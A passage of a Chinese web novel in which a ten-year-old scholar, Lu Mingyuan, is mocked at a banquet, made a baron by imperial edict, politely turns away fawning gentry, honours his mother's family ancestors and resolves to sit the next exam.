在场的众人听闻,也纷纷交头接耳,原本对陈君佑的惊叹,此刻也多了一丝审视。 是啊,一个从小衣食无忧,专心读书的天才,与一个半路出家,却能迅速崭露头角的少年,哪个更令人惊艳? 答案不言而喻。 陈君佑被陆明渊这番话气得脸色铁青。 他原本以为陆明渊会羞愧难当,却没想到对方竟然如此伶牙俐齿,反将一军。 他再也按捺不住心中的怒火,上前一步,指着陆明渊,语气中充满了不屑与嘲讽。 “说这么多有什么用?” 陈君佑冷哼一声,眉宇间的傲气更甚。 “童生就是童生,连个秀才都不是,也好意思举办这等宴席,真的不够丢人!” “若是本公子只是一个童生,绝不会如此大张旗鼓,只会觉得丢人,恨不得躲起来苦读,直至考取功名!” 他的话语带着少年人的冲动与锋芒,却也恰好戳中了王厚海此刻最尴尬的痛点。 陈远洲见孙子出面,立刻顺水推舟,冷笑着附和道。 “君佑说得没错!一个童生便摆这么大的牌面,若是真的中了秀才,中了举人,岂不是要整个清远县都给你庆贺?” “这般咄咄逼人,不像个读书人,反倒像个市井泼皮,徒增笑料!” 他目光扫过王厚海,眼中带着胜利者的得意。 “王厚海,你王家沉寂十年,如今好不容易寻回个外孙,却如此急功近利,恨不得将一点点微末的成就都夸大其词,这般作态,着实令人不齿!” 然而,就在王厚海陷入窘境之时,陆明渊却再次上前一步。 “陈家主此言差矣。” 陆明渊的声音依旧清朗,却比先前多了一丝锐利。 “今日这场宴席,乃是外公为了庆祝晚辈认祖归宗,顺带祝贺晚辈连中两试案首,本就不是为了晚辈中了童生,大摆宴席,普天同庆。” 他顿了顿,目光直视陈远洲,语气中带着一丝毫不掩饰的嘲讽。 “请帖上写得清清楚楚,乃是‘王府设宴,庆贺外孙陆明渊认祖归宗,兼贺其连中县试、府试案首’。” “陈家家主既然连请帖都看不懂,便妄加揣测,随意指摘,这般行径,可不像是一个百年世家家主应有的气度。” 陆明渊的目光转向陈君佑,眼中带着一丝玩味。 “至于陈君佑公子,乃是堂堂秀才,想来饱读诗书,识文断字应不在话下。难道连你,也看不懂这请帖上的白纸黑字?还是说……” 他话锋一转,声音陡然低沉了几分,却带着一股令人心惊的寒意。 “难不成,这个秀才身份,也有什么猫腻,以至于连最基本的识字辨理,都变得模糊不清了?” “你!” 陈君佑闻言,犹如被踩了尾巴的猫,瞬间炸毛! 他指着陆明渊,气得浑身颤抖,面色涨红。 他引以为傲的秀才身份,此刻竟被一个十岁的童生当众质疑,这简直是奇耻大辱! “你这童生,真是目中无人!” 陈君佑怒不可遏,声音尖锐。 “一个区区童生,竟敢质疑本公子的秀才身份?若是你中了秀才,岂不是要无法无天了?” 他话音未落,那充满怒意的声音,却被一道突如其来的高喝,骤然打断。 这道惊喝如同惊雷,在福满楼三楼大厅内轰然炸响! “圣旨到,江陵县陆明渊接旨!” 第106章 陆家,从此将彻底翻身! 福满楼的掌柜和伙计们早已被这突如其来的变故吓得魂不附体。 此刻正连滚带爬地从楼下跑上来,嘴里语无伦次地喊着“天使大人驾到”。 “明渊,快!快随我下去!” 王厚海反应最快,一把抓住陆明渊的手臂,往楼下赶去。 陆明渊点点头,在王厚海的带领下,缓步向楼下走去。 大厅内的众人,也纷纷从震惊中回过神来。 无论是那些与王家交好的,还是那些冷眼旁观的。 此刻都顾不得方才的争执,争先恐后地跟在陆明渊身后,向楼下涌去。 他们想要知道,这道圣旨究竟是为何而来。 陈远洲和陈君佑父子,脸色铁青,却也无法再保持镇定。 圣旨的到来,彻底打乱了他们的计划。 他们硬着头皮,随着人流下楼。 福满楼一楼的大堂,此刻已然被清空。 一位身着绯色官袍,面容清癯,却不失威严的中年男子,正手捧明黄卷轴,端立在大堂中央。 他身后跟着几十名身穿甲胄的侍卫,个个神情肃穆,刀枪林立。 中年男子正是奉旨而来的礼部侍郎,谭伦。 他目光如炬,扫过从楼梯上缓缓走下来的众人,最终定格在陆明渊的身上。 谭伦虽未见过陆明渊本人,但此前已从林瀚文的信中,以及府衙送来的县试、府试案首的卷宗上,对这个少年有所了解。 此刻亲眼所见,少年虽年仅十岁,却气质沉稳,眉宇间自有一股不凡气度。 谭伦心中暗赞,不愧是瀚文兄看中的弟子。 “你便是陆明渊?” 谭伦的声音不高不低,却带着一股不容置疑的威严。 王厚海连忙上前一步,拱手道:“回禀大人,正是外外孙陆明渊。” 谭伦微微颔首,目光再次转向陆明渊,直接了当地开口,声音洪亮,回荡在大堂之中。 “圣旨到,请江陵县陆明渊接旨!” 话音落下,全场众人,无论是豪门家主,还是市井商贾,纷纷跪下,头颅深垂,不敢直视。 整个福满楼大堂,瞬间鸦雀无声,只剩下众人粗重的呼吸声。 陆明渊深知这套规矩,他没有丝毫犹豫,拱手躬身,双膝缓缓跪地,沉声道:“陆明渊,接旨!” 谭伦见状,眼中闪过一丝赞许。 这个少年,在如此巨大的变故面前,依然能保持这份沉稳与恭敬,实属难得。 他随即展开手中的明黄卷轴,朗声念道: “奉天承运,皇帝诏曰:江陵县童生陆明渊,天资聪颖,学识渊博,于县试、府试连中案首,所呈策论《论漕运海运一体》,洞察民生,切中时弊,高瞻远瞩,实乃国之栋梁。朕心甚慰,特敕封陆明渊为江临男,赏黄金三百两,享食邑百户。望尔戒骄戒躁,勤勉修学,为国效力,钦此!” 随着圣旨的宣读,大堂内的众人无不心神巨震。 江临男! 这不仅仅是科举上的荣耀,更是实实在在的爵位! 虽然只是最低等的男爵,但却是世袭罔替的爵位,还附带黄金三百两和食邑百户! 这意味着陆明渊从一个“泥腿子”家庭出身的童生,一跃成为了有爵位、有封地、有俸禄的贵族! 这等恩典,简直是闻所未闻,见所未见! 陈远洲和陈君佑父子,此刻已然面如死灰。 他们方才还在嘲讽陆明渊不过是个童生,如今却被圣旨狠狠地扇了一记耳光。 一个男爵,即便只是最低等的,也远非一个秀才能比拟的。 更何况,这圣旨中对陆明渊的评价,字字珠玑,句句褒扬,简直是把陆明渊捧到了天上。 王厚海激动得浑身颤抖,老泪纵横。 他王家沉寂十年,如今不仅寻回了外孙,这外孙更是直接被敕封为男爵! 这是何等的荣耀!他仿佛已经看到了王家重新崛起的曙光。 陆从文和王氏更是热泪盈眶,他们跪在地上,身体因为激动而微微颤抖。 他们曾经以为儿子会一辈子困在田地里,却没想到,短短半年,儿子不仅拿起书本,连中两试案首,如今更是直接被封为男爵! 王氏紧紧捂住嘴,生怕自己哭出声来,引人侧目。 陆明渊心中涌起一股复杂的情绪。 他知道自己的策论确实不错,但能直接封爵,显然是有人在背后推波助澜。 这其中的深意,他需要细细思量。 随着圣旨宣读完毕,谭伦随即让陆明渊起身接旨。 “陆明渊,起身接旨吧。” 谭伦的声音比之前柔和了几分。 陆明渊恭敬地起身,双手接过那沉甸甸的明黄卷轴。 卷轴入手,带着一股淡淡的墨香,以及无上的威严。 就在陆明渊起身的时候,谭伦的目光不经意间扫过他的胸口,眼神骤然一凝。 他看到了陆明渊胸前佩戴的那枚血沁竹心佩。 那玉佩色泽温润,血丝如脉络般在竹心深处流淌,正是林瀚文一脉的传承之物。 谭伦是林瀚文的同僚,自然认得此物。 他听说了林瀚文专门来杭州府一趟,收了一个天资卓绝的少年为徒,没想到林瀚文竟然把这枚象征着传人身份的玉佩交给了陆明渊。 谭伦的脸上,不由自主地浮现出一丝和煦的笑容。 他向前一步,走到陆明渊身前,语气中带着一丝长辈的关怀与提点。 “瀚文兄近来可好?” 谭伦主动开口,语气亲切得让在场所有人都感到意外。 一位堂堂的礼部侍郎,对一个刚被封爵的少年,竟能如此和颜悦色,甚至提及私交,其中的分量,不言而喻。 “上一次专门来杭州府一趟,想来就是为了收你为徒。” 谭伦的目光落在陆明渊手中的圣旨上,又看了看他胸前的玉佩,眼底深处藏着一丝深意。 “瀚文兄才学过人,眼界甚高,如今既然愿意收你为徒,更是视为传人,日后可切莫要格外努力,至少要中个榜眼,莫要堕了这一脉的名声。” 陆明渊心中一凛。他没想到谭伦居然会如此客气。 更没想到他会当着这么多人的面,点明自己与林瀚文的关系。 他能感受到谭伦对他的善意,也明白谭伦故意这么说。 他是为了给自己撑腰,更是为了向清远县,乃至整个杭州府的官场、士林,宣告他陆明渊的后台与地位。 陆明渊心下对于谭伦颇为感激,连忙拱手,谦虚回应道。 “回禀大人,家师一切安好。晚辈定当谨记大人教诲,不坠师门威名,刻苦修学,以报师恩与皇恩。” 谭伦满意地点点头,又与陆明渊聊了两句,言语间多有提点与勉励。 他并未久留,随即将圣旨郑重地交到陆明渊手中,拍了拍他的肩膀,意味深长地看了他一眼。 做完这些,谭伦便翻身上马,离开了清远县。 等到谭伦一行人的身形彻底消失在街道尽头,福满楼大堂内,那股无形的压抑感才缓缓消散。 然而,现场众人看向陆明渊的眼神,却已然发生了翻天覆地的变化。 方才的轻蔑、嘲讽、审视,此刻已然化作了灼热的敬畏、羡慕,以及浓浓的巴结之意。 那些曾经对陆明渊不屑一顾的目光,此刻都带着一丝小心翼翼的讨好。 世态炎凉,人情冷暖,不过是瞬息之间,便在这一方小小的酒楼大厅里,演尽了百态。 王厚海此刻已是老泪纵横,他颤抖着手,轻轻拍着陆明渊的肩膀,激动得一句话也说不出来。 他知道,王家,不,是陆家,从此将彻底翻身! 陆从文和王氏也早已泪流满面,他们看着被众人围拢的儿子,心中百感交集。 曾经的愧疚与辛酸,此刻都化作了无尽的骄傲与自豪。 陈远洲和陈君佑父子,脸色比锅底还要黑。 他们站在人群的边缘,被众人有意无意地孤立开来。 陈远洲紧紧握着拳头,指甲几乎要嵌进肉里。 他万万没想到,自己今日的落井下石,竟会引来如此巨大的反噬。 陈君佑更是羞愤欲死。 他方才还在嘲讽陆明渊是个童生,不配举办宴席,如今却被一个十岁的男爵、巡抚弟子,狠狠地踩在了脚下。 他引以为傲的秀才身份,在陆明渊的光芒下,显得如此黯淡无光,甚至有些可笑。 那些原本对陈家马首是瞻的清远县大户们,此刻也纷纷调转了方向。 他们争先恐后地挤到陆明渊身边,脸上堆满了谄媚的笑容,嘴里说着各种恭维的话语。 “恭喜陆男爵!恭喜陆男爵!此乃清远县百年未有之盛事啊!” “陆男爵天资卓绝,实乃我等之楷模!” “陆男爵少年英才,日后定然平步青云,光耀门楣!” 陆明渊将这一切尽收眼底。 他明白,这便是权势的魅力,也是人性的真实写照。 他脸上挂着得体的微笑,一一拱手回礼,不卑不亢,沉稳有度。 第107章 那可是真正的封疆大吏! 福满楼内,喧嚣并未随着天使的离去而彻底平息。 众人虽然收敛了方才的阿谀奉承,但那份好奇与探究,却如同无数双无形的手,紧紧抓住了陆明渊。 “陆男爵,方才天使大人提及的‘瀚文兄’,不知是哪位高人?” 一位身着锦袍,面容富态的县中大户,小心翼翼地凑上前,拱手问道。 此言一出,原本围拢在陆明渊身边的众人,也都纷纷竖起了耳朵。 就在此时,人群中忽然传来一声低低的惊呼。 “林瀚文……莫非是隔壁江苏省的林巡抚?” 所有人的脸色,齐刷刷地变了。 空气仿佛凝固了一瞬,随即又被无数倒吸凉气的声音填满。 江苏省巡抚! 那可是真正的封疆大吏!一方大员! 其权势之重,远非一个小小的嘉兴府知府所能比拟。 那等人物,跺一跺脚,半个江南都要颤三颤。 而陆明渊,这个年仅十岁的少年,不仅连中两试魁首,如今更被敕封男爵,竟然还拜入了这样一位大人物的门下,甚至被视为衣钵传人! 这哪里是靠山? 这简直是一座巍峨耸立的泰山! 刹那间,那些原本还想维持一丝体面,不至于太过露骨的豪绅们,彻底丢弃了所有矜持。 他们看陆明渊的眼神,已经不再是简单的敬畏,而是带着一种近乎狂热的崇拜与巴结。 “陆男爵天资过人,能得林巡抚青睐,实乃我大乾之幸,清远之福啊!” “是极是极!陆男爵少年英才,日后定然平步青云,光耀门楣!” “老夫家中有一幼女,年方十三,温婉贤淑,知书达理,若是能得陆男爵垂青,便是做个侍妾,也是我王家的福气啊!” 此言一出,如同打开了潘多拉的盒子。 “我家也有!小女年方十二,容貌清丽,琴棋书画样样精通,愿嫁与陆男爵为妾!” “陆男爵,小老儿家中虽无适龄女子,但有良田千亩,铺面十间,愿尽数献与陆男爵,以表寸心!” 一时间,整个大厅内,谄媚之声不绝于耳。 有人争相献女,有人献财献物,恨不得立刻与陆明渊攀上关系,成为他的裙带。 哪怕只是一个微不足道的旁支,也能让他们在清远县的地位,瞬间水涨船高。 陆明渊心中没有丝毫波澜。 他前世见惯了各种场面,深知人性的复杂与多变。 权势,财富,地位,这些东西总能吸引无数趋之若鹜的追随者。 他脸上挂着得体的微笑,一一拱手回礼,不卑不亢,沉稳有度。 他知道,此刻若是他点头应下任何一桩婚事,或是收下任何一份厚礼,那些人都会立刻将他奉若神明。 但他更清楚,若是他这个新收的弟子,刚一封爵,便在地方上大肆收礼,广纳姬妾。 那无疑是在给林瀚文脸上抹黑,更是堕了师门的名声。 陆明渊放下茶盏,目光平静地扫过众人,声音不大,却清晰地传入每一个人的耳中。 “诸位的好意,明渊心领了。” 他顿了顿,语气中带着一丝恰到好处的恭敬与敬畏。 “家师素来清正,最重门风。他老人家收明渊为徒,是看重明渊的学识与品性,并非为了这些身外之物。” “若是明渊今日仗着家师的名头,便在此处大肆收受礼品,甚至……收纳姬妾,只怕是堕了家师的清名,坏了师门规矩。” 他微微叹了口气,眼中闪过一丝“为难”之色,继续道。 “家师性情耿直,若是知道明渊如此行事,只怕会雷霆震怒。” “到时候,明渊不仅要受罚,更怕连累诸位。毕竟,家师虽然远在江苏,但对杭州府的事情,也并非一无所知。” “若是因此惹恼了他老人家,会发生什么事,明渊就实在不敢保证了。” 陆明渊这番话,说得情真意切,语气中既有对师长的敬畏,又有对众人的“好心提醒”。 他没有直接拒绝,而是将林瀚文这尊大佛搬了出来,瞬间就堵住了所有人的嘴。 果然,此言一出,原本还热火朝天的大厅,骤然安静下来。 那些恨不得将女儿塞给陆明渊的豪绅们,脸色瞬间变得有些僵硬。 他们你看看我,我看看你,眼中都流露出几分后怕。 是啊!林巡抚是何等人物? 那可是真正的大乾重臣! 他们这些地方上的土财主,在巡抚大人眼中,不过是些蝼蚁罢了。 若是真的因为巴结陆明渊,而惹恼了这位大人物,那后果,可不是他们能够承受的。 到时候,只怕不是家破人亡,也要被抄家流放。 众人瞬间清醒过来。 巴结是巴结,但也要讲究方式方法。 当着这么多人的面,如此直接地送礼献女,确实太过招摇,也太过不把林巡抚放在眼里。 “陆男爵所言极是,是老夫等考虑不周了!” 一位年长的豪绅率先反应过来,连忙拱手,语气中带着几分敬畏与歉意。 “是啊,林巡抚德高望重,岂是我等俗人能够揣度的?” “陆男爵心性高洁,不为浮华所动,果然是林巡抚的亲传弟子!” 一时间,恭维之声又起,但这次,却少了方才的急切与露骨,多了几分小心翼翼的试探与敬重。 陆明渊见状,知道自己的目的已经达到。 他再次拱手,客气道:“诸位盛情,明渊铭记于心。只是今日天色已晚,家中二老还在楼上,明渊不便久留。” “若是诸位日后有暇,可到王家府上做客,家祖王厚海,乃是清远县的耆老,对县中事务了如指掌,定能与诸位畅谈一番。” 他巧妙地将话题引向了王厚海,既给了众人一个台阶下,又为王家争取了未来的交际空间。 众人闻言,再次眼前一亮。 对啊!陆明渊不好直接巴结,但王厚海可是他的亲外祖父! 巴结王家,不就等于间接巴结了陆明渊吗? 而且,王厚海是清远县的耆老,与他交好,本就是应有之义。 众人纷纷再次向陆明渊拱手告辞,然后,如同潮水般,齐刷刷地涌向了三楼。 他们不再围着陆明渊,而是将目标转向了王厚海,准备和他“聊聊清远县的各种生意”。 福满楼一楼的大堂,在喧嚣过后,终于恢复了些许宁静。 只剩下陆明渊,以及站在他身后的陆从文和王氏。 陆明渊看着那些争先恐后涌向三楼的身影,嘴角勾起一抹淡淡的弧度。 他转过身,缓步走到父母身边。 陆明渊的声音,带着一丝平日里难得的温柔。 “今日之后,我们家也算有爵位在身了。日后,再也不用看人脸色,再也不用低人一等了。” 王氏紧紧握住儿子的手,泪水再次模糊了双眼。 她颤抖着声音,哽咽道:“渊儿……娘做梦也没想到,你……你竟能有今日这般成就。” 陆从文也红着眼眶,重重地点了点头,却说不出一句完整的话。 他心中的激动,早已超越了言语所能表达的范畴。 陆明渊轻轻拍了拍母亲的手背,温声道。 “娘,皇上赏赐的黄金三百两,明渊会留在家里。” “你们可以用这些钱,扩充家里的生意,无论是买田地,还是开铺子,都由你们做主。” “至于其他的事情,明渊自有决断,你们不必担忧。” 他知道,父母虽然朴实,却也并非毫无主见。 王氏曾经是王家千金,对经商之事并非一无所知。 有了这笔启动资金,再加上他如今的身份与背景,王家和陆家的生意,定然能蒸蒸日上。 陆从文和王氏闻言,纷纷点头。 他们很清楚,自己已经跟不上陆明渊的脚步了。 儿子如今是男爵,是巡抚大人的亲传弟子,未来的前途不可限量。 作为父母,他们能做的,就是不拖陆明渊的后腿,不给他添麻烦。 他们会尽力打理好家中的一切,让陆明渊能够心无旁骛地去追求他的前程。 第108章 这些布匹,你肯定能认出来 夜色如墨,泼洒在青瓦白墙之上,将清远县笼罩在一片深沉的静谧之中。 然而,这静谧之下,却涌动着一股暗流,无数人的心思,被今日福满楼的那一道圣旨,彻底搅乱。 陆明渊与父母乘坐着王家备好的马车,缓缓驶离了福满楼。 不多时,马车停在了王家府邸前。 步入王家大厅,一股沉香的暖意扑面而来。 王厚海端坐在主位上,虽然已是深夜,却丝毫不见倦怠。 “渊儿,过来坐。” 王厚海指了指身旁的位置,语气温和,与白日里在福满楼的威严判若两人。 陆明渊恭敬地行了一礼,然后才在王厚海身侧落座。王氏和陆从文则被安排在下首。 “今日之事,老夫看在眼里,你做得很好。” 王厚海端起茶盏,轻抿一口,目光深邃地看着陆明渊。 “不骄不躁,不为浮华所动,更懂得借势,不损师门清名,难怪能得林巡抚青睐。你这孩子,比你娘当年可要圆滑多了。” 他这话一出,王氏的脸颊微微泛红,却也只是低头不语。 陆明渊则微微一笑,拱手道:“外公谬赞,明渊不过是谨记师长教诲罢了。” 王厚海闻言,哈哈一笑,放下茶盏,从怀中掏出一张叠得整整齐齐的银票,递到陆明渊面前。 “这是老夫的一点心意,你收下。” 王厚海的语气不容置疑。 陆明渊接过,展开一看,赫然是一张面值一千两的银票。 他心中微动,知道这不仅仅是钱,更是王厚海对他的认可与支持。 “多谢外公。” 陆明渊再次拱手。 王厚海摆了摆手,目光落在陆明渊身上,语气变得更加郑重。 “渊儿,你如今已是男爵,又是林巡抚的亲传弟子,前途不可限量。” “老夫今日给你这笔钱,不是为了让你挥霍,而是希望你日后能心无旁骛,努力读书。” 他顿了顿,眼神中带着一丝长辈的期许。 “至于你的老师,是不是那位江苏省巡抚,对王家而言,并不重要。” “能让礼部侍郎亲自前来宣旨,并对你师长如此重视,想来也是一位真正的名师。” “老夫就不自取其辱,再给你安排什么启蒙老师了。” 陆明渊心中了然。 王厚海这番话,既是表明王家对他的支持,也是在划清界限。 他深知,像林瀚文那样的封疆大吏,若是王家不知分寸,仗着陆明渊的关系去攀附,反而会适得其反,惹来林瀚文的不满。 “外公深明大义,明渊感激不尽。” 陆明渊诚恳地说道。 王厚海满意地点了点头,继续道。 “你放心,王家不会麻烦你去消耗人情,也不会给你添半点麻烦。” “你只需要好好读书,日后若是学有所成,能帮王家一把的时候,帮一把便是。其他的事情,老夫绝不会强求!” 他这番话,说得情真意切,让陆明渊心中的最后一丝芥蒂也随之消散。 他知道,王厚海是真心为他好,也是真心为王家谋划长远。 这份坦荡与识趣,让陆明渊对这位老人的敬意又添了几分。 “当年你娘不愿低头,老夫便赌气断绝了母女关系。” 王厚海的目光转向王氏,语气中带着一丝复杂的情绪。 “没想到这么多年,她竟然真的忍心,一封信都不曾回来。” 王氏闻言,身子微微一颤,眼眶有些泛红,却依旧低着头,没有说话。 那份倔强,在她的骨子里,与王厚海如出一辙。 王厚海叹了口气,摇了摇头,似乎是想起了往事。 “其实,这些年,王家一直都在关注着你们一家。” 他缓缓说道,目光又转向陆明渊。 “你以为,你娘在县里卖的那些刺绣和布匹,都是谁买走的?” 陆明渊闻言,心中一动,隐约猜到了什么。 王厚海站起身,对着王景轩使了个眼色。王景轩会意,从腰间取下一串钥匙,递给王厚海。 “渊儿,你随老夫来。” 王厚海拿起钥匙,带着陆明渊走向后院。 穿过几道月洞门,绕过几丛修竹,两人来到了一处偏僻的院落。 院落中有一间看起来并不起眼的库房,木门紧闭,上面挂着一把铜锁,显得有些陈旧。 王厚海用钥匙打开了铜锁,推开了库房的门。 一股淡淡的霉味和布料特有的气息扑面而来。 库房内没有点灯,只有从门外透进的微弱月光,勉强照亮了里面的景象。 陆明渊走进库房,借着微弱的光线,他看到了堆积如山的布匹。 那些布匹被整齐地叠放着,一层又一层,几乎堆满了整个库房。 它们颜色各异,有素净的棉麻,也有精美的丝绸,但无一例外,都带着一种熟悉的气息。 “这些布匹,你肯定能认出来。” 王厚海的声音在库房中回荡,带着一丝不易察觉的颤抖。 “这都是你娘这些年纺织的布匹。她为了周济陆家,为了供你读书,日夜辛劳,将这些布匹卖了换取银两。” 陆明渊的目光扫过眼前的布匹,心头猛地一震。 这些布匹的纺织手法,他再熟悉不过了。 那细腻的纹理,那独特的针脚,分明就是母亲王氏亲手所织。 有些布匹的颜色已经有些发黄,显然是有些年头了,而有些则簇新如初。 他的目光忽然定格在一匹靛蓝色的粗布上。 那匹布的边角处,有一个细微的线头,是他帮母亲缠线时,不小心弄断后又勉强接上的。 两个月前,父亲陆从文就是拿着这匹布,去江陵县卖的。 当时,他还在心里抱怨,说父亲为何要将母亲辛苦织就的布匹拿去换钱,而不是让母亲好好休息。 此时此刻,一切都明白了。 外公王厚海是个老顽固,好面子。 当年想要逼迫母亲低头认错,结果母亲也是个要面子、倔脾气的人,死活不肯低头。 于是,事情只能僵持下来,一直到陆明渊崭露头角,才有了今日的转机。 而王家,并非真的对他们不闻不问。 王景轩一直在暗中安排人手,将母亲这些年纺织的布匹都收了下来,放在家里,美其名曰是个念想,实则是在用这种方式,默默地周济着陆家,支撑着母亲的尊严。 陆明渊伸出手,轻轻抚摸着一匹布料。 他的眼眶有些湿润。 他终于理解了王厚海的苦心,也理解了母亲的倔强。 “外公……” 陆明渊转过身,声音有些沙哑。 他看着王厚海那张饱经风霜的脸,心中对外公最后的一丝怨恨也烟消云散。 王厚海看着陆明渊,眼中带着一丝探究。 他知道,这个孩子此刻已经明白了所有。 陆明渊深吸一口气,语气坚定而郑重:“日后若有所成,明渊绝不会忘了,我是王氏子孙!” 这句话,没有过多华丽的辞藻,却重逾千金。 它不仅仅是一个承诺,更是一种血脉的认同,一种家族荣耀的延续。 王厚海听到这句话,顿时笑了。 聪明人之间,不用说太多,一句话,便足以明白彼此的心意。 他知道,他没有看错陆明渊,王家也没有白等这么多年。 “好!好!好!” 王厚海连说了三个“好”字,眼中闪烁着欣慰的光芒。 他拍了拍陆明渊的肩膀,然后转身,带着陆明渊走出了库房。 “走吧,老夫带你去前厅。明日一早,老夫要亲自带你去祭拜先祖。” 第109章 学生有信心,再夺一魁首! 次日清晨,天光微熹。 王家祠堂,庄严肃穆。 祠堂内供奉着王氏历代先祖的牌位,密密麻麻,一直延伸到高处,无声地诉说着一个家族百年来的兴衰荣辱。 王厚海换上了一身深色的锦袍,神情肃然,亲手点燃了三炷高香,递到陆明渊手中。 “渊儿,跪下。” 陆明渊没有丝毫犹豫,整理衣袍,双膝跪在了蒲团之上。 “王氏列祖列宗在上,不肖子孙王厚海,今日携外孙陆明渊,前来祭告。” “此子聪慧敏学,已得功名,光耀门楣。今特告慰先祖,佑我王氏,血脉延绵,家业昌盛。” 王厚海的声音苍老而洪亮,在空旷的祠堂中回荡。 陆明渊手持高香,对着那满目的牌位,恭恭敬敬地叩了三个响头。 额头触及冰凉的青石板,一股血脉相连的奇异感觉油然而生。 他仿佛能看到,这无数牌位背后,是一张张鲜活的面孔,是他们一代代的积累与奋斗,才有了今日的王家。 站在一旁的王氏,早已是泪流满面,用手帕捂着嘴,不敢哭出声来。 这个场景,她曾在梦中幻想过无数次,如今终于成真。 祭祖仪式结束,王家的气氛彻底热烈了起来。 傍晚时分,整个清远县的王氏族人,无论嫡系还是旁支,凡是能沾上边的,都赶来了王家府邸。 三进三出的大宅院,灯火通明,亮如白昼。 庭院里,廊道下,大厅中,到处都是攒动的人头,人声鼎沸,觥筹交错,热闹非凡。 陆明渊被王厚海带着,穿梭在人群之中,不断地有长辈或同辈过来见礼。 “这位便是明渊贤侄吧?果然是一表人才,少年英杰!” “明渊,我是你三表叔,以后若是有什么事,尽管来找我!” “渊哥儿,我叫王景浩,比你大两岁,以后可要多亲近亲近。” 一张张或热情、或谄媚、或好奇的面孔,一声声或真心、或客套的称呼,如潮水般向陆明渊涌来。 他始终保持着温和的微笑,应对得体,不卑不亢,让一众王家人暗暗称奇。 看着眼前这林林总总不下百人的庞大家族,陆明渊心中感慨万千。 这就是古代的氏族吗? 仅仅是清远县的一个豪门,便有如此规模。 那些盘踞在江南、中原的千年世家,若是举办一次宗族大会,又该是何等遮天蔽日的景象? 他终于深刻地理解了,为何寒门难出贵子。 这不仅仅是资源和人脉的差距,更是一种根植于血脉的集体力量。 一个家族的子弟,从出生起就拥有无数的后盾和退路。 他们可以试错,可以得到最好的教育,可以轻易地接触到普通人一辈子都无法企及的层面。 而寒门子弟,每一步都如履薄冰,错一步,便是万丈深渊。 这恐怖的积累,才是世家豪门屹立不倒的真正根基。 家宴过后,陆明渊一家在王家又住了两日,才动身返回江陵县。 王厚海亲自安排了车马和护卫,并让王景轩备上了厚礼,一路将他们送回。 回到江陵县陆家村时,已是腊月二十七,年味渐浓。 陆家的动静,自然也惊动了整个陆家村。 陆氏一族听闻陆陆明渊如今已是名动湖广的“双魁首”,还被封了男爵,整个宗族都沸腾了。 过年那几日,陆家村的老宅,门槛几乎要被踏破。 陆氏族人,无论远近亲疏,都提着礼物赶来拜年。 整个陆家村都沉浸在一种异样的亢奋之中,所有人看向陆明渊的眼神,都充满了敬畏与巴结。 “明渊啊,你可是我们陆家几代人里最有出息的!以后我们可都指望你了!” “是啊是啊,明渊,你二叔家的那个堂弟,脑子也还算灵光,你看能不能让你老师提携提携?” “明渊,你看看你四爷爷家里,穷得都快揭不开锅了,你现在是大人物了,可不能忘了本啊……” 面对这些或明或暗的请求,陆明渊只是微笑着,一一应付。 他既没有当场答应任何事,也没有板着脸得罪任何人。 只是用一些“日后若有机会”、“还需看机缘”之类的场面话,将事情圆滑地推了过去,维持了所有人的体面。 这份远超年龄的沉稳与练达,让陆从文和王氏看得既欣慰又心疼。 喧嚣的春节过后,陆家村终于恢复了往日的平静。 陆从文和王氏也回到了江陵县城。 他们的“双魁楼”和纺织铺子,因为陆明渊的名声,生意愈发红火,每日里忙得脚不沾地。 陆明渊则告别了父母,返回了林家的府学,重新投入到了书山文海之中。 春去夏来,时间一晃即逝。 三个多月的时间里,陆明渊几乎将林家那浩如烟海的藏书翻了个遍。 他不再局限于四书五经,而是将目光投向了更广阔的天地。 诸子百家、农田水利、兵法韬略、奇闻异志、前朝史记。 无数的知识如同涓涓细流,汇入他的脑海,最终形成了一片深不见底的汪洋。 他所掌握的知识,无论是深度还是广度,都已经达到了一个令人恐惧的地步。 许多时候,就连林家的几位先生前来考校,都会被他问得哑口无言,最后只能抚须长叹,自愧不如。 这一日,夏蝉初鸣,陆明渊合上了手中的最后一本《舆地纪胜》,长长地吐出了一口气。 他感觉,时机差不多了。 他找到了正在院中品茶的林家三爷,林天元。 “三爷。” 陆明渊躬身行礼。 林天元放下茶盏,温和地笑道。 “明渊啊,今日怎么有空来我这儿?可是读书遇到了什么难题?” 在他看来,这个年仅十岁的孩子,早已是林府上下公认的“小怪物”,寻常的学问,根本难不倒他。 陆明渊摇了摇头,平静地说道:“学生想参加六月份的院试。” “噗——” 林天元一口茶水直接喷了出来,也顾不得擦拭,震惊地看着陆明渊,仿佛听到了什么天方夜谭。 “你说什么?院试?” 他的声音都变了调。 “是。” 陆明渊的表情没有丝毫变化,眼神清澈而坚定。 林天元猛地站起身,在大理石铺就的地面上焦躁地来回踱步,一边走一边说。 “胡闹!简直是胡闹!明渊,你可知院试意味着什么?那是通往‘士’的门槛!一旦考过,便是秀才,见官不跪,免除徭役,是真正的读书人了!” 他停下脚步,语重心长地看着陆明渊。 “你今年才多大?十一岁!县试、府试连夺双魁首,已经是前无古人的奇迹了。” “老夫知道你天资绝顶,可饭要一口一口吃,路要一步一步走。你如今的声望已经足够高了,何不再沉淀一两年?” “将根基打得更牢固一些,明年,不,后年去考,也才十三岁,照样能名动天下!” 林天元是真的为陆明渊着急。 大乾王朝立国数百年来,十一岁的秀才,屈指可数,每一个都是载入史册的妖孽人物。 可那些人,哪一个不是三四岁开蒙,有当世大儒亲自教导,家族倾尽所有资源培养出来的? 陆明渊的天赋固然惊人,可毕竟出身寒微,接触真正系统性的高等教育,满打满算也不到一年。 如此仓促地去考院试,万一失手,对他的名声和心气,都是一个巨大的打击。 木秀于林,风必摧之。 这个道理,林天元比谁都懂。 然而,陆明渊只是静静地听着,等他说完,才缓缓开口。 “三爷的爱护之心,明渊心领。只是,学生已有十足的把握。” 他的声音不大,却带着一种不容置疑的力量。 林天元一愣,看着少年那双深邃的不像孩子的眼睛,心中的焦躁竟莫名地平复了几分。 他皱眉道:“十足的把握?院试的主考官乃是浙江省的提学学政,皆是进士出身,眼光何等毒辣。” “考的也不仅仅是经义,更有试帖诗、策论,对学识的广博与深度要求极高。你……” “学生明白。” 陆明渊打断了他的话,语气依旧平静。 “学生有信心,再夺一魁首。” 再夺一魁首! 这五个字,如同一道惊雷,在林天元耳边炸响。 他彻底呆住了。 他想过陆明渊是自信,是年少轻狂,却从未想过,他的目标,竟然是院试的案首! 这是何等狂妄,又是何等气魄! 沉默了许久,林天元长叹一声,重新坐回了石凳上,端起已经凉了的茶,一饮而尽。 “你……真的决定了?” “决定了。” “也罢,也罢!” 